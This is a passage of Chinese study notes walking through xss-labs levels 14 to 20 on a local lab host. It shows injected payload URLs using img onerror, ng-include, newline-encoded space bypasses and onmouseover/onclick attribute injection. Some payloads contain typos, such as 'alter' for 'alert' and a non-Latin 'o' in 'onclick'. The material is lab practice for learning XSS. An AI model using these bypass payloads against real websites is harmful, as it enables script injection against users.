Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good 查看源码 确认输出
Less15:ng-include文件包涵
AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面)
javascriptLoad URL地址:192.168.2.106/xss-labs/level15.php?src=jaden 查看源码 确认输出 192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'
Less16:url编码-标签绕过 换行符替换空格绕过
javascriptLoad URL地址:192.168.2.106/xss-labs/level16.php?src=jaden 查看源码 <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> 确认输出 //img有输出但是空格被编码了 192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/' //将空格的编码替换成回车的编码进行尝试%0A回车符号 192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'
Less17_18:embed标签-鼠标事件闭合绕过
embed标签:定义了一个区域,可以放图片、视频、音频等内容
javascriptLoad URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 查看源码 确认输出 //发现以src的属性值进行了输出 192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden //用onmouseover鼠标事件 192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden") //用onmouseover鼠标事件 192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")
Less19_20:过时
javascriptflash插件技术比较老了,已经全面停用了禁用了,就不做了